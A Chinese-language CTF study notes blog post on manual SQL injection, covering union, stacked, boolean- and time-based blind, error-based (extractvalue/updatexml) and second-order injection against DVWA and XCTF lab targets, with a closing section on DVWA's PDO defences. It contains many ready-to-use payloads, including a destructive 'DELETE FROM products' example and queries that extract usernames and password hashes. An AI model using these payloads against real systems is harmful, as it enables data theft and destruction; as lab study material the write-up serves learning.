0x01 前言

刷题的时候碰到了之前做过的题,但是忘记了怎么做,很头大,打算再总结一下这部分知识,也是当做复习了,希望不要再忘记了!!!

自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路!!!

0x02 基础操作

》联合注入

> 手工注入思路

参考DAWV题解地址:https://www.freebuf.com/articles/web/120747.html

下面简要介绍手工注入(非盲注)的步骤。

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

这里只列出思路,具体简单的语句就不写了。

》堆叠注入

参考文章链接:https://www.cnblogs.com/0nth3way/articles/7128189.html

> 原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

> 小姿势

以 XCTF-easy_sql 为例(原题对关键词进行了过滤而且用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可)

  • 报错注入(详见文章0x4部分)
  • 使用预编译:
1';
use information_schema;
set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');
PREPARE stmt1 FROM @sql;
EXECUTE stmt1;--+

1';
use supersqli;
set @sql=concat('s','elect 'flag' from '1919810931114514'');
PREPARE stmt1 FROM @sql;
EXECUTE stmt1;--+

或者

1';
set @sql = CONCAT('se','lect * from "1919810931114514";');
prepare stmt from @sql;
EXECUTE stmt;#
  • 修改表名和列名:
1';
alter table words rename to words1;
alter table '1919810931114514' rename to words;
alter table words change flag id varchar(50);#

然后使用1' or 1=1#即可查询出flag

  • 使用handler查询,payload如下:
1';
handler '1919810931114514' open;
handler '1919810931114514' read first;#

0x03 盲注姿势

》基于布尔的盲注

原文链接:https://www.jianshu.com/p/757626cec742

可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。

同样的,和之前DVWA的普通SQL Injection操作流程类似,大致测试流程如下:

  1. 判断是否存在注入,注入的类型
构造User ID取值的语句输出结果
1exists
'MISSING
1 and 1=1 #exists
1 and 1=2 #exists
1' and 1=1 #exists
1' and 1=2 #MISSING
  1. 猜解当前数据库名称
  • 判断数据库名称的长度
输入输出
1' and length(database())>10 #MISSING
1' and length(database())>5 #MISSING
1' and length(database())>3 #exists
1' and length(database())=4 #exists
  • 判断数据库名称的字符组成元素

此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。

mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。

区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。

在构造语句比较之前,先查询以下字符的ASCII码的十进制数值作为参考:

字符ASCII码-10进制字符ASCII码-10进制
a97-->z122
A65-->Z90
048-->957
_95@64

以上常规可能用到的字符的ASCII码取值范围:[48,122]

当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]

输入输出
1' and ascii(substr(database(),1,1))>88 #exists
1' and ascii(substr(database(),1,1))>105 #MISSING
1' and ascii(substr(database(),1,1))>96 #exists
1' and ascii(substr(database(),1,1))>100 #MISSING
1' and ascii(substr(database(),1,1))>98 #exists
1' and ascii(substr(database(),1,1))=99 #MISSING
1' and ascii(substr(database(),1,1))=100 #exists

==>数据库名称的首位字符对应的ASCII码为100,查询是字母 d

类似以上操作,分别猜解第2/3/4位元素的字符:

1' and ascii(substr(database(),2,1))>88 #

...==>第2位字符为 v

1' and ascii(substr(database(),3,1))>88 #

...==>第3位字符为 w

1' and ascii(substr(database(),4,1))>88 #

...==>第4位字符为 a

从而,获取到当前连接数据库的名称为:dvwa

----------以下简写,只列出最后payload----------

  1. 猜解数据库中的表名
# 1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
# 2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
# 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
# 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
# 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
  • 猜解表数
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
  • 猜解表名

长度:

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

名称:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
  1. 猜解表中的字段名
# 判断[dvwa库-users表]中的字段数目
(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx
# 判断在[dvwa库-users表]中是否存在某个字段(调整column_name取值进行尝试匹配)
(select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1
# 猜解第i+1个字段的字符长度
length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx
# 猜解第i+1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/...号位)
ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx 
  • 猜解字段数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
  • 猜解字段名

按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。

当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含关键信息的字段,如:用户名、密码...

【猜想】数据库中可能保存的字段名称

用户名:username/user_name/uname/u_name/user/name/...

密码:password/pass_word/pwd/pass/...

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #MISSING
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user_name')=1 #MISSING
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #exists

说明存在users字段

  1. 获取表中的字段值
  • 字段长度
1' and length(substr((select user from users limit 0,1),1))=5 #
1' and length(substr((select password from users limit 0,1),1))=32 #
  • 字段值

猜测这么长的密码位数,可能是用来md5的加密方式保存,通过手工猜解每位数要花费的时间更久了。

方式①:用二分法依次猜解user/password字段中每组字段值的每个字符组成

方式②:利用日常积累经验猜测+运气,去碰撞完整字段值的全名

userpasswordmd5($password)
adminpassword5f4dcc3b5aa765d61d8327deb882cf99
admin123123456e10adc3949ba59abbe56e057f20f883e
admin1111234567825d55ad283aa400af464c76d713c07ad
rootroot63a9f0ea7bb98050796b649e85481845
sasa12345658d65bdd8944dc8375c30b2ba10ae699
.........
1' and substr((select user from users limit 0,1),1)='admin' #
1' and (select count(*) from users where user='admin')=1 #

方式①的猜解准确率和全面性较高,但是手工猜解花费的时间比较长;方式②猜解效率可能稍快一些,手工猜解的命中率较低,如果用户名or密码字典数据较少,可能会漏掉数据没有猜解出来,不确定性较多。实际猜解过程中,可以结合两种方法一起来尝试,互相补充。

  1. 验证字段值的有效性
  1. 获取数据库的其他信息:版本、用户...

》基于时间延迟的盲注

与布尔盲注类似,但是需要结合if函数和sleep()函数来测试不同判断条件导致的延迟效果差异,如:1' and if(length(database())>10,sleep(5),1) #

if条件中即数据库的库、表、字段、字段值的获取和数值大小比较,若服务器响应时执行了sleep()函数,则判断if中的条件为真,否则为假。

例:

1 and if(length(database())=4,sleep(2),1) #
1 and if(ascii(substr(database(),1,1))=100,sleep(2),1) #

注意:对于带有引号包含字符串的字段值,可以转换成16进制的形式进行绕过限制,从而提交到数据库进行查询。

0x04 报错注入(updatexml 与 extractvalue)

》简介

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数

EXTRACTVALUE(XML_document, XPath_string);
UPDATEXML(XML_document, XPath_string, new_value);

注意:两个函数的返回长度有限,均为32个字符长度

》注入

payload:

or extractvalue(1, concat(0x7e, version()))
or updatexml(1, concat(0x7e, version()), 1)

》提取数据

  • 爆表名:(0x7e = ~)
or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))
or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())))
/*可以先通过2查看是否能显示完整数据再通过1详细查看*/
  • 爆字段名:
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1)))
  • 爆数据名:
or extractvalue(1, concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1)))

》小姿势

过滤掉了0x,不能用传统的报错注入操作了,不过可以换成makeset操作。

1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

0x05 SQL二次注入

ctf做到的一道题,用户名存在的二次注入,页面链接:http://lola39.cn/2020/05/12/xctf_%e7%bd%91%e9%bc%8e%e6%9d%af2018-unfinish/

0x06 DAWV 的 impossible难度防御思考

  • impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
  • 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
  • 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
  • Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过


本网站博主